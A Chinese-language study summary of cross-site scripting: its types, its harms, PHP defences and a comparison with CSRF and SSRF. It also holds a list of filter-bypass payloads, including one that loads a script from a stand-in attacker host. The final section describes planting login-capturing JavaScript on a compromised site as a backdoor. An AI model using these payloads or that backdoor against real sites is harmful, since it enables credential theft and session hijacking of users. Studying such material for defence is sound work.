简单总结一下XSS相关知识
目录
在有shell的情况下,如何使用XSS实现对目标站的长久控制?
XSS的形成原理
系统没有对用户输入的内容没有限制,导致用户输入的内容可以被浏览器当成JavaScript代码执行
XSS漏洞分类
反射型XSS
反射型XSS又称作非持久性XSS,这种攻击性具有一次性。
攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接收该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。
例如:
当网页存在代码
<?php
echo $_GET["uname"]
?>
变量uname是可控的,用户可以输入值,然后会显示在网页。
如果给予用户一个网页url?uname=<script>alert("hello");</script>,当用户访问时,触发代码,将会弹出对话框。
存储型XSS
存储型XSS又称持久型XSS,攻击脚本存储在目录服务器的数据库中,具有更强的隐蔽性。
攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
DOM型XSS
通过更改DOM树上的节点,攻击者在节点上插入攻击脚本,服务器响应不会处理攻击者脚本,而是用户浏览器处理不响应时,DOM对象就会处理XSS代码,触发XSS漏洞。
三者区别的广义概括
存储型:常出现在信息修改添加等地方,导致恶意代码被存储在数据库中,每当被攻击者访问到后就会触发执行;
反射型:常出现在url中,一般需要攻击者提前构造好恶意链接,欺骗用户点击,触发攻击代码;
DOM型:攻击代码在url中,然后输出在了浏览器的DOM节点中。
简单比较会发现,存储和反射都经过服务器,而DOM是纯前端
XSS的危害
盗取用户敏感信息
由于很多人喜欢将密码存储到浏览器当中,所以攻击者可以通过xss注入脚本代码获取用户的敏感信息,例如登录凭证、个人信息等。
盗取会话信息
攻击者可以利用xss注入脚本代码获取用户的会话信息,并在未经授权的情况下冒充用户身份执行恶意操作。
传播蠕虫病毒
攻击者在web页面植入恶意HTML代码,给用户发送伪装的邀请链接,用户点击链接后被感染,然后被感染的新用户向其好友发送伪装的邀请链接。通过这种方式,实现了xss蠕虫病毒传播。
欺骗用户操作
攻击者利用xss注入脚本代码欺骗用户进行误导行为,如点击恶意链接、下载恶意文件以及进行钓鱼攻击等。
XSS的防范
输入检查
- filter_var():提供全面的过滤器,用于验证和清理不同的数据类型,它允许您执行验证电子邮件地址、验证整数等任务。
- strip_tags():从字符串中删除HTML和PHP标签,有效地净化输入并防止潜在的脚本执行。
- preg_replace():允许您执行基于正则表达式的搜索和替换操作,用于高级输入清理任务,例如从用户删除或替换特定模式或字符。
- strlen():返回字符串的长度,可以验证用户输入的长度并强制执行某些长度限制。
- addslashes():在sql查询或处理数据库中存储的数据时,在具有特殊含义的字符前添加反斜杠。
HTML实体化
- htmlspecialchars():把一些预定义的字符转换成HTML实体。
预定义的字符是:
&(和号)成为&;
"(双引号)成为";
'(单引号)成为&apos;
<(小于)成为<;
>(大于)成为>;
开启http-only
http-only是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时http-only标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话)。
通过js脚本将无法读取到cookie信息,这样能有效的防治XSS攻击。
XSS绕过方式
参考文章,很详细XSS绕过方式
HTML实体编码绕过
将特殊字符转换为HTML实体,以绕过文本过滤。
适用于过滤器仅检查特定字符而不接吗HTML实体的场景。
<script>alert('XSS')</script>
大小写混合绕过
混合使用大写和小写,以绕过对特定字符串的检查。
适用于不区分大小写的过滤器。
<ScRipT>alert('XSS')</ScRiPt>
利用JavaScript事件绕过
通过HTML元素的事件处理器注入脚本。
适用于过滤器不处理JavaScript伪协议的情况。
<img src="x" onerror="alert('XSS')"/>
<a href="javascript:alert('XSS')">Click me</a>
<audio src="x" onerror="alert('XSS')"/>
<iframe src="javascript:alert('XSS');"></iframe>
<object data="javascript:alert('XSS');"></object>
<svg onload="alert('XSS')"></svg>
<script>window.location='javascript:alert("XSS")'</script>
利用编码绕过
编码绕过是很普遍的绕过方式,可以利用URL编码、Unicode编码、十六进制编码绕过等,或者可以先十六进制编码再进行URL编码。
URL编码:
%3Cscript%3Ealert('XSS')%3C/script%3E
Unicode编码:
\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
Base64编码:
<a href="javascript:eval(atob('YWxlcnQoJ1hTUycp'));">Click me</a>
YWxlcnQoJ1hTUycp-->alert('xss')
双写绕过
通过创建不完整的标签来混淆过滤器。
适用于过滤器尝试纠正不完整的标签。
<scr<script>ipt>alert('XSS')</script>
利用CDATA绕过
利用CDATA区块绕过
适用于在XML或XHTML上下文中使用。
<![CDATA[<script>]]>alert('XSS')<!--
利用注释绕过
在脚本中添加HTML注释来混淆过滤器。
适用于在处理HTML注释时的过滤器绕过。
<!--<script>alert('XSS')</script>-->
利用外部脚本绕过
通过外部文件引入脚本。
适用于过滤器未限制外部资源的情况。
<script src="http://attacker.com/xss.js"></script>
利用CSS注入绕过
通过CSS属性执行脚本。
适用于过滤器不充分处理样式属性的情况。
<div style="background:url(javascript:alert('XSS'))"></div
利用Flash注入绕过
使用Flash文件执行脚本。
适用于网站允许Flash内容且未正确配置安全限制时。
<embed src="xss.swf" allowscriptaccess="always"></embed>
使用动态脚本绕过
使用document.write动态写入脚本。
适用于页面加载时会执行动态生成的脚本。
<script>document.write('<script>alert("XSS")<\/script>')</script>
使用字符拼接
通过拼接字符串来构造并执行脚本。
适用于绕过脚本内容检测,特别是在脚本内容分段检查的情况下。
<script>a='alert("';b='XSS")';eval(a+b);</script>
替换关键函数绕过
将常用的关键函数替换成不常用的函数。
例如:
alert替换成prompt等。
XSS,CSRF和SSRF区别
XSS:XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的 脚本语句被执行。
CSRF:CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以 利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF:SSRF是服务器对 用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
在有shell的情况下,如何使用XSS实现对目标站的长久控制?
意思也就是需要有一个后门。
可以在后台登录处插入一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个罕见的路径的文件中或者传到自己构建的网站文件中。
也可以在登录后才可以访问的文件中插入XSS脚本。